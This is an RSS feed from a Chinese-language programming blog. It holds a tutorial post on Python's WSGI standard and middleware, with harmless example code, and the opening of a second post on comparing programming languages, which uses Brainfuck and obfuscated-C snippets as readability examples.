<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>程式設計 遇上 小提琴</title>
	<atom:link href="http://blog.ez2learn.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.ez2learn.com</link>
	<description>Victor&#039;s個人部落格，關於程式設計與小提琴</description>
	<lastBuildDate>Fri, 05 Feb 2010 13:42:31 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>化整為零的次世代網頁開發標準: WSGI</title>
		<link>http://blog.ez2learn.com/2010/01/27/introduction-to-wsgi/</link>
		<comments>http://blog.ez2learn.com/2010/01/27/introduction-to-wsgi/#comments</comments>
		<pubDate>Tue, 26 Jan 2010 18:34:25 +0000</pubDate>
		<dc:creator>victor</dc:creator>
				<category><![CDATA[Python]]></category>
		<category><![CDATA[cgi]]></category>
		<category><![CDATA[網頁開發]]></category>
		<category><![CDATA[Django]]></category>
		<category><![CDATA[Paste]]></category>
		<category><![CDATA[Pylons]]></category>
		<category><![CDATA[Repoze]]></category>
		<category><![CDATA[TurboGears]]></category>
		<category><![CDATA[wsgi]]></category>
		<category><![CDATA[框架]]></category>

		<guid isPermaLink="false">http://blog.ez2learn.com/?p=958</guid>
		<description><![CDATA[介紹Python網頁開發的標準: WSGI]]></description>
			<content:encoded><![CDATA[<p>今天，我要介紹Python網頁開發的標準: WSGI，我個人在看見這類英文縮寫時，都一定會試著去記住它的全寫，因為縮寫本身一點意義都沒有，難以記憶，WSGI的全寫是』<strong>Web Server Gateway Interface</strong>『，它的發音有點像是whiskey，光知道這個名字還是很難理解這到底是用來做什麼用的，簡單的來說，它是Python定義網頁程式和伺服器溝通的介面，如果你有寫過CGI (Common Gateway Interface)，它的作用基本上就是和CGI類似的功用，定義一個標準的溝通方式，讓你寫的程式可以和伺服器溝通，但是WSGI不是設計用來給任何語言使用的，它是設計給Python用的，而它其實是基於CGI的延伸，在Python的部份進一步做更多的定義，而因為他是基於CGI，所以它也可以和CGI的介面相容，只要透過一個轉接器，就能把WSGI的程式接到CGI，說了這麼多，相信大部份人對於WSGI是什麼還是一頭霧水，會有一堆疑問，為什麼有了CGI還要有WSGI? Middleware又是什麼? 這很正常，我一開始也對WSGI一點概念都沒有，接下來我們就來介紹WSGI的特色。</p>
<p><span id="more-958"></span></p>
<h2>一些基本的定義</h2>
<p>WSGI是由Python的官方在<a href="http://www.python.org/dev/peps/pep-0333/">PEP333</a>所定義出來的，細節的定義請自行閱讀該規格，這篇文章希望能從較高的層面來著眼，所以在此只簡單介紹基本的概念，首先，如果你有寫過CGI的話，就知道CGI透過環境變數來取得外部資訊，基本上WSGI也是一樣透過環境變數來取得資訊，例如REQUEST_METHOD、SERVER_NAME、HTTP_xxx，如你所見它繼承了自CGI的環境變數，除此之外它還定義了一些額外的變數，例如wsgi.version是包含著wsgi介面版本的變數，我們取部份它定義的環境變數</p>
<blockquote>
<div id="_mcePaste">REQUEST_METHOD</div>
<div id="_mcePaste">The HTTP request method, such as 『GET』 or 『POST』. This cannot ever be an empty string, and so is always required.</div>
<div id="_mcePaste">SCRIPT_NAME</div>
<div id="_mcePaste">The initial portion of the request URL&#8217;s 『path』 that corresponds to the application object, so that the application knows its virtual 『location』. This may be an empty string, if the application corresponds to the 『root』 of the server.</div>
<div id="_mcePaste">PATH_INFO</div>
<div id="_mcePaste">The remainder of the request URL&#8217;s 『path』, designating the virtual 『location』 of the request&#8217;s target within the application. This may be an empty string, if the request URL targets the application root and does not have a trailing slash.</div>
<div id="_mcePaste">QUERY_STRING</div>
<div id="_mcePaste">The portion of the request URL that follows the 『?』, if any. May be empty or absent.</div>
<div>(以下略&#8230;)</div>
<div>
<p><span style="font-family: Arial, Verdana, Geneva, 'Bitstream Vera Sans', Helvetica, sans-serif; line-height: 17px; font-size: 15px;"> </span></p>
<table class="docutils" style="clear: right;" border="1">
<tbody>
<tr>
<td><tt class="docutils literal"><span class="pre">wsgi.version</span></tt></td>
<td>The tuple <tt class="docutils literal"><span class="pre">(1,0)</span></tt>, representing WSGI version 1.0.</td>
</tr>
<tr>
<td><tt class="docutils literal"><span class="pre">wsgi.url_scheme</span></tt></td>
<td>A string representing the 『scheme』 portion of the URL at which the application is being invoked. Normally, this will have the value <tt class="docutils literal"><span class="pre">"http"</span></tt> or<tt class="docutils literal"><span class="pre">"https"</span></tt>, as appropriate.</td>
</tr>
<tr>
<td><tt class="docutils literal"><span class="pre">wsgi.input</span></tt></td>
<td>An input stream (file-like object) from which the HTTP request body can be read. (The server or gateway may perform reads on-demand as requested by the application, or it may pre- read the client&#8217;s request body and buffer it in-memory or on disk, or use any other technique for providing such an input stream, according to its preference.)</td>
</tr>
</tbody>
</table>
</div>
</blockquote>
<blockquote><p>(以下略&#8230;)</p></blockquote>
<p>到這裡其實都還看不見任何特別的地方，接下來才是重點，它定義了WSGI的應用程式是用一個固定形式的函數來和伺服器進行溝通，我們取自PEP333的範例:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">def</span> simple_app<span style="color: black;">&#40;</span>environ, start_response<span style="color: black;">&#41;</span>:
    <span style="color: #483d8b;">&quot;&quot;&quot;Simplest possible application object&quot;&quot;&quot;</span>
    status = <span style="color: #483d8b;">'200 OK'</span>
    response_headers = <span style="color: black;">&#91;</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'Content-type'</span>,<span style="color: #483d8b;">'text/plain'</span><span style="color: black;">&#41;</span><span style="color: black;">&#93;</span>
    start_response<span style="color: black;">&#40;</span>status, response_headers<span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: black;">&#91;</span><span style="color: #483d8b;">'Hello world!<span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: black;">&#93;</span></pre></div></div>

<p>我知道單單這樣看來好像很平常，不過就是定義一個標準的函數介面，環境變數一律從environ丟進去，要開始進行response時就呼叫第二個參數start_response，第一個放狀態，第二個放headers，然後函數的回傳值是一個包含了網頁內容的list，可以是generator，也就是內容不一定要回傳時就產生，而是回傳一個generator再被呼叫從裡面取得要回傳給browser的網頁內容，好了，寫到這裡，一切似乎簡單到似乎沒有什麼用處，是的，跟據Python的哲學，簡單比複雜來得好，雖然它的定義簡單，但是背後卻隱涵著更重大的意義，你可能一開始和我一樣覺得二丈金剛摸不著頭腦，搞不清楚這到底有什麼好處，但很快你就會知道這簡單定義所帶來的強大威力，我們繼續看下去。</p>
<h2>Middleware (中介層)</h2>
<p>在PEP333裡最令人困惑的名字，我想莫過於Middleware，對於這類名詞我傾向於寫原文，但是如果硬要給它個中文翻譯，我暫時把它譯做』中介層』，不是什麼響亮的名詞，但是卻有極大的彈性，別被這個名字給嚇著了，我們先來看看一個例子，我們這樣說好了，假如你是注音文的推廣者，實在很討厭看見網頁裡都沒有注音文，那麼你要怎樣改寫你的程式呢? 最簡單的做法就是改寫原本的程式對吧? 但是在WSGI的架構下，我們有更好的做法，那就是寫一個Middleware來幫我們取代掉一般中文裡的某些字，我們先看看原本的程式:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">from</span> wsgiref.<span style="color: black;">simple_server</span> <span style="color: #ff7700;font-weight:bold;">import</span> make_server
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> my_app<span style="color: black;">&#40;</span>environ, start_response<span style="color: black;">&#41;</span>:
    <span style="color: #483d8b;">&quot;&quot;&quot;a simple wsgi application&quot;&quot;&quot;</span>
    status = <span style="color: #483d8b;">'200 OK'</span>
    response_headers = <span style="color: black;">&#91;</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'Content-type'</span>, <span style="color: #483d8b;">'text/plain'</span><span style="color: black;">&#41;</span><span style="color: black;">&#93;</span>
    start_response<span style="color: black;">&#40;</span>status, response_headers<span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: black;">&#91;</span>u<span style="color: #483d8b;">&quot;你好! 歡迎來到Victor的第一個WSGI程式&quot;</span>.<span style="color: black;">encode</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'utf8'</span><span style="color: black;">&#41;</span><span style="color: black;">&#93;</span>
&nbsp;
httpd = make_server<span style="color: black;">&#40;</span><span style="color: #483d8b;">''</span>, <span style="color: #ff4500;">8000</span>, my_app<span style="color: black;">&#41;</span>
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Serving on port 8000...&quot;</span>
httpd.<span style="color: black;">serve_forever</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span></pre></div></div>

<p>我們用Python內建的模組wsgiref裡的簡單伺服器來執行這個wsgi程式，我們來看看執行的結果</p>
<div id="attachment_959" class="wp-caption alignnone" style="width: 507px"><a href="http://blog.ez2learn.com/wp-content/uploads/2010/01/wsgi_demo_01.png"><img class="size-full wp-image-959" title="簡單WSGI程式的示範" src="http://blog.ez2learn.com/wp-content/uploads/2010/01/wsgi_demo_01.png" alt="" width="497" height="383" /></a><p class="wp-caption-text">簡單WSGI程式的示範</p></div>
<p>一點都不吸引人對吧? 我們需要的是注音文! 滿滿的注音文才能讓人滿足，於是利用WSGI你可以寫一個Middleware不需改寫原本程式的任何一個部份，就能把你的網站變成一個充滿注音文的網站! 我們來看一下新版的程式:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">from</span> wsgiref.<span style="color: black;">simple_server</span> <span style="color: #ff7700;font-weight:bold;">import</span> make_server
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> my_app<span style="color: black;">&#40;</span>environ, start_response<span style="color: black;">&#41;</span>:
    <span style="color: #483d8b;">&quot;&quot;&quot;a simple wsgi application&quot;&quot;&quot;</span>
    status = <span style="color: #483d8b;">'200 OK'</span>
    response_headers = <span style="color: black;">&#91;</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'Content-type'</span>, <span style="color: #483d8b;">'text/plain'</span><span style="color: black;">&#41;</span><span style="color: black;">&#93;</span>
    start_response<span style="color: black;">&#40;</span>status, response_headers<span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: black;">&#91;</span>u<span style="color: #483d8b;">&quot;你好! 歡迎來到Victor的第一個WSGI程式&quot;</span>.<span style="color: black;">encode</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'utf8'</span><span style="color: black;">&#41;</span><span style="color: black;">&#93;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">class</span> MarsLanguage<span style="color: black;">&#40;</span><span style="color: #008000;">object</span><span style="color: black;">&#41;</span>:
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">def</span> <span style="color: #0000cd;">__init__</span><span style="color: black;">&#40;</span><span style="color: #008000;">self</span>, app, encoding=<span style="color: #483d8b;">'utf8'</span><span style="color: black;">&#41;</span>:
        <span style="color: #008000;">self</span>.<span style="color: black;">app</span> = app
        <span style="color: #008000;">self</span>.<span style="color: black;">encoding</span> = encoding
        <span style="color: #008000;">self</span>.<span style="color: black;">dictionary</span> = <span style="color: black;">&#123;</span>
            u<span style="color: #483d8b;">'好'</span>: u<span style="color: #483d8b;">'ㄏ'</span>,
            u<span style="color: #483d8b;">'到'</span>: u<span style="color: #483d8b;">'ㄉ'</span>,
            u<span style="color: #483d8b;">'個'</span>: u<span style="color: #483d8b;">'ㄍ'</span>,
            u<span style="color: #483d8b;">'的'</span>: u<span style="color: #483d8b;">'ㄉ'</span>
        <span style="color: black;">&#125;</span>
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">def</span> <span style="color: #0000cd;">__call__</span><span style="color: black;">&#40;</span><span style="color: #008000;">self</span>, environ, start_response<span style="color: black;">&#41;</span>:
        content = <span style="color: #008000;">self</span>.<span style="color: black;">app</span><span style="color: black;">&#40;</span>environ, start_response<span style="color: black;">&#41;</span>
        <span style="color: #ff7700;font-weight:bold;">for</span> piece <span style="color: #ff7700;font-weight:bold;">in</span> content:
            piece = piece.<span style="color: black;">decode</span><span style="color: black;">&#40;</span><span style="color: #008000;">self</span>.<span style="color: black;">encoding</span><span style="color: black;">&#41;</span>
            <span style="color: #ff7700;font-weight:bold;">for</span> key, value <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">self</span>.<span style="color: black;">dictionary</span>.<span style="color: black;">iteritems</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>:
                piece = piece.<span style="color: black;">replace</span><span style="color: black;">&#40;</span>key, value<span style="color: black;">&#41;</span>
            <span style="color: #ff7700;font-weight:bold;">yield</span> piece.<span style="color: black;">encode</span><span style="color: black;">&#40;</span><span style="color: #008000;">self</span>.<span style="color: black;">encoding</span><span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># We warp the original WSGI application with</span>
<span style="color: #808080; font-style: italic;"># the MarsLanguage middleware!!!</span>
app = MarsLanguage<span style="color: black;">&#40;</span>my_app<span style="color: black;">&#41;</span>
&nbsp;
httpd = make_server<span style="color: black;">&#40;</span><span style="color: #483d8b;">''</span>, <span style="color: #ff4500;">8000</span>, app<span style="color: black;">&#41;</span>
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Serving on port 8000...&quot;</span>
httpd.<span style="color: black;">serve_forever</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span></pre></div></div>

<p>看到了嗎? 我們原本的wsgi一點更動都沒有，我們只是在原本的app外面再包一層MarsLanguage這個Middleware，沒錯，MarsLanguage就是一個最簡單Middleware，它讓我們再不用改原本的程式下就能改變網頁的行為或是結果，我們不用改任何原本的程式，就可以把網頁產生的結果全部變成注音文，很棒不是嗎?  我們來看看結果</p>
<div id="attachment_961" class="wp-caption alignnone" style="width: 507px"><a href="http://blog.ez2learn.com/wp-content/uploads/2010/01/wsgi_demo_02.png"><img class="size-full wp-image-961" title="WSGI 火星文middle demo" src="http://blog.ez2learn.com/wp-content/uploads/2010/01/wsgi_demo_02.png" alt="" width="497" height="383" /></a><p class="wp-caption-text">WSGI 火星文middleware demo</p></div>
<p>看到注音文讓人開心不是嗎? 當然，我知道，光是這火星文Middleware沒辦法滿足各位，火星文Middleware只存在於本篇文章，如果你有興趣可以把它應用在你的WSGI網站上，當然你可能得做好受到使用者投訴的心理準備。</p>
<h2>Middleware的概念</h2>
<p>其實Middleware並不是什麼新的概念，如果你有研究過Apache的Module怎麼寫，你會發現Apache有個機制叫做Filter，有類似的概念，如這<a href="http://httpd.apache.org/docs/trunk/filter.html">份文件</a>裡這張圖所示</p>
<div id="attachment_963" class="wp-caption alignnone" style="width: 579px"><a href="http://blog.ez2learn.com/wp-content/uploads/2010/01/filter_arch.png"><img class="size-full wp-image-963" title="Apache filter機制" src="http://blog.ez2learn.com/wp-content/uploads/2010/01/filter_arch.png" alt="" width="569" height="392" /></a><p class="wp-caption-text">Apache filter機制</p></div>
<p>Apache的模組可以在輸入和對資料進行修改，MarsLanguage的Middleware其實在Apache模組中也可以寫一個火星文模組用來達到同樣的效果，只是WSGI的Middleware不只有針對資料，還有其它像可以對環境變數進行控制的功能，它有錯誤的控制，所以當內層拋出例外時，它可以進行處理，有著極大的彈性。</p>
<p>再仔細想一想，如果你知道Design Pattern，你就會發現它其實是Decorator (裝飾者) 的pattern，它的威力和彈性就來自於一致的介面，使得可以做出Middleware來改變WSGI application的行為，上下游都不需要知道彼此的存在，他們只要在每一層做好他們該做的事就可以了。</p>
<h2 style="font-size: 1.5em;">實際的應用</h2>
<p>當使用者送出一個Request來到你伺服器，接著你的網頁程式產生內容，然後送出Response回去給Browser，最簡單的網頁程式做的事情大概就像是這樣，但是真實世界的網頁程式要做的事情很多，他們得記錄Session資訊、取得Cookie、認證、錯誤處理等等雜事，而傳統的架構你可以想像一下這些東西都沒有標準可言，都只限於單一的網頁程式，他們可能都跟特定模組糾結在一起，而WSGI的Middleware將這些該做的事都限定於Middleware中，它們跟上下游溝通的方式都是按照標準來實作的，這表示這些Middleware都能重覆被利用，這就是WSGI帶來的好處之一。</p>
<p>我們借用來自<a href="http://pylonshq.com/docs/en/0.9.7/concepts/">Pylons文件</a>的一張圖</p>
<p><a href="http://blog.ez2learn.com/wp-content/uploads/2010/01/pylons_as_onion.png"><img class="alignnone size-full wp-image-962" style="border: 0px initial initial;" title="pylons_as_onion" src="http://blog.ez2learn.com/wp-content/uploads/2010/01/pylons_as_onion.png" alt="" width="478" height="435" /></a></p>
<p>從這張你可以看到，使用者的Request進到我們的網頁伺服器裡來，首先經過Registry Manager是用來管理request-local的相關物件，接著Status Code Redirect在Request上不做任何事，往下層跑ErrorHandler也是不對Request做任何事，接著是Cache Middle，視情況記錄Request相關資料，然後是Session Middleware取出cookie還有在環境中準備session的資料，接著Routes依網址決定要給哪個Controller來處理，最後Request經過層層關卡來到了真正的Pylons App，產生網頁結果後，Response會一層一層被回傳回去，到Cache層如果有需要可以把結果暫存起來，如果這之中有例外被丟出，Error Handler會處理，debug模式下會顯示友善的除錯介面，非debug模式下可以把錯誤報告寄到信箱去，然後回到Status Code Redirect如果有需要可以重導網頁到特定的錯誤頁面去，再來是Registry Manager，整個Request進去和產生Response的過程在Pylons裡大概就像這樣子，講到這裡，我相信大家已經對於WSGI越來越有感覺。</p>
<h2>老闆，請給我一份雞排去骨去皮加顆蛋撒點蔥</h2>
<p>相信大家對於框架之類的感覺可能往往是覺得一體成形的東西總是缺乏彈性，既有的系統通常都什麼都有，但是都難以重覆利用，當需求有一點點改變都要花很大力氣把東西從那糾結的程式中清乾靜之後拔出來，相較於基於WSGI的網頁程式卻是極有彈性的，它的特性使得你可以自由排列組合各種不同的Middleware來拼湊出你想要的網頁框架，</p>
<p>你不喜歡按照URL來Route Request? 那考慮靠使用者的作業系統和環境來決定如何? 又或著靠日期來決定要繞向哪個頁面，沒問題，你只要抽掉Route Middleware，換上你喜歡的，其它的部份都還是可以留著。</p>
<p>你不喜歡那Cache機制，你自己可以做一個，或是利用先進的共用快取機制，一樣在一般情況下，你不必改變其它的部份。</p>
<p>你覺得它的Error Handler實在遜斃了，只能顯示互動式的除錯器、或著是把出現的錯誤寄到你的信箱去，你想要更過份一點的錯誤處理機制? 發生錯誤自動打電話把工程師吵醒? 沒問題! 換掉Error Handler即可。</p>
<p>還有很多很多的需求&#8230;.，這些都只是冰山一角，你甚至不必照它安排的順序或個數，你可以在其中加入你喜歡的Middleware，像是TurboGears2就有加入一個資料庫交易的Middleware，當發生錯誤時它會自動Rollback，你覺得不喜歡都可以拿掉、加入或是換上你自己的版本，這使得做一個符合你需求的變得非常容易，你只要挑你喜歡的積木把他們組合起來就可以了，就像堆樂高積木似的。</p>
<h2>現有的資源</h2>
<p>就如同我上面所提到的，自從Python提出了這樣的標準，它可重覆利用和有彈性的特性，使得原本很多各自為政的Python網頁技術都紛紛向WSGI靠隴，到了今天Python已經有一大堆的網頁技術都是架構在WSGI上，因為它的彈性使得現在還有更多新的技術如語後春筍般一直發芽，如今用Python寫網頁已經是一件很幸福的事，因為有這麼多現成可通用的資源，使得網頁開發可以更專注於更重要的地方上，例如使用者經驗、安全性等等，其實不只是Middleware，也有很多WSGI application，以下介紹我所知道的一些WSGI可用的資源</p>
<h3><a href="http://pythonpaste.org/">Paste</a></h3>
<p>Paste提供的是一些常用的WSGI基礎建設，WSGI網頁的部屬、設定、WSGI的伺服器、測試用的框架、CGI的橋接器、樣版專案產生器等等。</p>
<h3><a href="http://pylonshq.com/">Pylons</a></h3>
<p>Pylons是輕量且有彈性的框架，他也提供了一些更進階基礎上所需要的東西，例如樣版、i18n、URL routing、設定檔等等</p>
<h3><a href="http://repoze.org/">Repoze</a></h3>
<p>Repoze是將原本知名的重量級CMS <a href="http://www.zope.org/">Zope</a>和架構在上面的<a href="http://plone.org/">Plone</a>的相關技術移植到WSGI上，所以這些技術都可以直接的被使用，例如repoze.bfg是一套基於這些技術的網頁框架，repoze.bitblt可以用來自動縮放圖片repoze.errorlog用來記錄錯誤訊息，repoze.profile用來測量記錄程式的效能，repoze.who則是用於身份認證，而repoze.what是用來做控制存取的，還有很多很棒的技術都是WSGI的形式隨時可以被整合和使用</p>
<h3><a href="http://turbogears.org/">TurboGears2</a></h3>
<p>TurboGears是一套集大成的框架，TG1原本不是完全架構在WSGI上的，原本它以cherrypy為伺服器做為架構，後來TG2改架構在Pylons上，它的哲學是』The best of breeds』，意思就是它透過挑選並評估最好的函式庫和組件，把他們兜在一起形成一個框架，這樣你就不用花時間自己一個一個去評估，我個人網頁開發是都使用這套，當初Django和TurboGears在選擇時，我因為比較喜歡他的藕合比較鬆散這點，可以換掉自己不喜歡的組件，所以選擇TurboGears</p>
<h3><a href="http://www.djangoproject.com/">Django</a></h3>
<p>知名的Python網頁框架，相較於TurboGears是集大成，Django是原本由商業公司開發一應俱全的網頁框架，後來才開放原始碼，就藕合度來說，比TurboGears來得高，但是因為我沒有實際使用過，所以實際情況是如何我也不清楚</p>
<h2>結論</h2>
<p>上面列舉到的WSGI相關資源只是我所知道的一小部份，還有更多Python相關網頁資源都是基於WSGI，現代網頁開發者實在是太幸福了，但即使在先進的2010年，台灣一樣有一堆人還在用10年前的方式在寫網頁，WSGI也只是現代網頁開發技術的一個分支而已，身為一個資訊人，學習新的技術是職責，當一個資訊人不再學新技術時，資訊人就已經死了，在資訊領域沒有所謂學一次用一輩子的技術，我深深的覺得當這些次世代的技術越來越普及時，那些還在用10年前方式寫網頁的人可能很快就被淘汰了，當別人做一個網站是用兜出來的，時間超短，成品又好又安全，而你還在用土法鍊鋼，自然成本就遠比別人高，被淘汰是理所當然的事。</p>
<p>對於很多人來說，可能英文是學習這些新技術的障礙，並不是每個人都能快速地讀大量的技術文件，很多人可能都喜歡逐字閱讀都不懂得一些技巧，讀得很辛苦自然很排斥，所以到最後只能依賴別人翻譯，但是當有人幫你翻譯好成中文，往往可能已經過時了，再加上翻譯的品質很多都爛到暴炸，令人懷疑是不是用Dr. Eye直接翻譯的，過時加上破爛的翻譯，往往使得國內離所謂的先進&#8230;，不，是光離現代的技術就更遠了，所以給想要往這領域發展的人一個建議，英文絕對是很重要的，至少要有閱讀能力，等我考試完有空有閒的話我蠻想發幾篇英文學習心得的相關的文章。</p>
<p>每次看見國外在用先進的技術，別人的網站真的都是兜出來的，但回頭看國內很多人都以為寫網頁就只有PHP加上CGI其實真的蠻心酸的，比起吐嘈我還是比較喜歡介紹新的技術或寫寫心得之類的，其實我有在想在我研究所考試完後要來寫幾本書，目前我想到的有</p>
<ul>
<li>網頁開發即戰力: TurboGears2</li>
<li>伺服器開發即戰力: Twisted</li>
<li>視窗程式開發即戰力: wxPython</li>
</ul>
<p>像這類的書，想歸想，要寫書不簡單，也要花不少時間，有人說寫書是做公益，其實我是蠻想知道國內市場的大小和接受度如何，不過這一切要等我研究所考試考完再說，再考試考完前我決定封筆，所以在這段期間都不會有新的文章。</p>
<p>以上，希望這些對國內的網頁開發的進步會有些幫助</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.ez2learn.com/2010/01/27/introduction-to-wsgi/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>如何評估比較程式語言</title>
		<link>http://blog.ez2learn.com/2010/01/08/how-to-compare-languages/</link>
		<comments>http://blog.ez2learn.com/2010/01/08/how-to-compare-languages/#comments</comments>
		<pubDate>Thu, 07 Jan 2010 19:32:47 +0000</pubDate>
		<dc:creator>victor</dc:creator>
				<category><![CDATA[Python]]></category>
		<category><![CDATA[分享]]></category>
		<category><![CDATA[可寫性]]></category>
		<category><![CDATA[可讀性]]></category>
		<category><![CDATA[可攜性]]></category>
		<category><![CDATA[程式語言]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[programming language]]></category>

		<guid isPermaLink="false">http://blog.ez2learn.com/?p=928</guid>
		<description><![CDATA[有人提到以過去的觀點來看現在的PHP是不公平的，確實我有好一陣子沒有碰PHP，對於新版的PHP並不瞭解，因此我花了一些時間檢視新的PHP規格，的確新版的PHP遠比我預料的進步許多，很多之前提到的問題有所改善，我承認上一篇文章說PHP很爛是在發洩過去對於PHP的種種不滿，有人認為程式語言沒有好壞，全部都事在人為，而我認為程式語言的好壞有主觀也有客觀的部份，當你討厭或喜歡一個程式語言一定有某些原因，但就客觀的來看語言的設計來講，PHP在早期真的是爛得一榻糊塗，是公認的爛，但是在當時少有選擇，能選的工具不多，就只有PHP，在累積夠久的不滿後就會一次暴發開來，對於現在的PHP5.3還有未來的PHP6而言，他已經跳離了以前的單純語言設計上的爛，往更好的方向前進，我能說PHP的壞話少了很多，因為當語言層面的問題大部份都解決了，接著就是哲學和個人喜好的問題了，對與目前和新版的PHP的誤解在這邊說聲抱歉
所以這篇我想說的，怎樣看客觀地評估一款語言的好壞，還有主觀地評估好與壞，很多人說程式語言沒有好與壞，只有適合和不適合，基本上我不認同這樣的說法，如果說兩種差別很大用途不同的語言拿來一起比較就很奇怪，但是如果是性質接近的語言都符合你需求，就可以做好壞的比較，不然你要怎麼做選擇? 就如同我們買車子好了，你的目的是載貨，買的自然是卡車、貨車，但是如果是轎車呢? 就算是卡車也有選擇的，程式語言也一樣，目前大部份人所見到的程式語言，都是所謂的』通用目的』語言，也就是說這樣的語言沒有預設任何用途，基本上他可以拿來做任何用途，很多人因為不知道要從何比較起，所以都說程式語言沒有好壞之分，只有適合和不適合，如果有一堆工具都適合，既然沒有好壞之分，那你又該如何做出進一步的評估與選擇? 適不適合不就是透過比較而來的嗎? 不比較怎麼知道適不適合? 這不是自相矛盾嗎? 只靠喜好嗎? 閉著眼睛亂選?  大家都知道車子我們可以比較它的馬力、耗油、安全評等，但是大多數人不知道程式語言該比較些什麼，而我今天所要說的，就是程式語言該拿什麼來比較

客觀的評估條件
首先，客觀的評估條件並不是完全客觀的，在某些情況它會帶有主觀色彩，例如一個語法的可讀性如何，這就帶有某種程度的主觀，事實上有一個領域是在探討這些問題的，在資訊工程系開的一門課叫「程式語言」就有某部份在討論這些，但是對於這部份沒有很深入，而關於這些條件應該有更嚴僅學術上的方式來對這些條件進行評估，但是那超出我的知識範圍，我就我所知道的來說
可讀性
可讀性是指一個程式語言寫出來的語句是否容易閱讀
可讀性是程式語言很重要的一個優劣的參考指標，因為有一個事實就是
程式被讀比被寫還多次
一個程式的可讀性，關係到維護的人能否輕易的瞭解程式語言所表達程式的意圖，如果維護的人難以理解某段程式所要表達的事情，那麼這些程式就難以被維護，軟體工程中有個很重要的概念就是，程式開發的成本其實只佔一小部份，而維護其實所花的成本會比開發來得多，在這樣的情況下，如果寫出來的程式難以被讀懂，那麼接手的人將難以進行維護，如此一來可能要面臨整個程式重寫的情況，會使得維護的成本大大增加，程式碼也失去了重覆利用的價值，所以可讀性對於一款程式語言的好壞來說是很重要的一個指標
為了說明可讀性爛的程式語言，我找來最極端的例子，Brainfuck是一款以圖靈機為模型，所做出來最小化的程式語言，它所寫出來的Helloworld程式如下
++++++++++[&#62;+++++++&#62;++++++++++&#62;+++&#62;+&#60;&#60;&#60;&#60;-]
&#62;++.&#62;+.+++++++..+++.&#62;++.&#60;&#60;+++++++++++++++.
&#62;.+++.&#8212;&#8212;.&#8212;&#8212;&#8211;.&#62;+.&#62;.
我想應該沒有太多人會反對我說Brainfuck可讀性很差 XD
我喜歡極端的例子，再來一個國際混亂碼大賽的參賽作品，這是一個要將程式寫到別人看不懂，但又要能夠運作，而且要夠創意的比賽，所以寫出來的程式都是可讀性0分的程式，下面這個是可以計算圓周率的程式


 #define _ -F&#60;00&#124;&#124;--F-OO--;
 int F=00,OO=00;main&#40;&#41;&#123;F_OO&#40;&#41;;printf&#40;&#34;%1.3f\n&#34;,4.*-F/OO/OO&#41;;&#125;F_OO&#40;&#41;
 &#123;
             _-_-_-_
        _-_-_-_-_-_-_-_-_
     _-_-_-_-_-_-_-_-_-_-_-_
   _-_-_-_-_-_-_-_-_-_-_-_-_-_
  _-_-_-_-_-_-_-_-_-_-_-_-_-_-_
  _-_-_-_-_-_-_-_-_-_-_-_-_-_-_
 _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
 _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
 _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
 _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
  [...]]]></description>
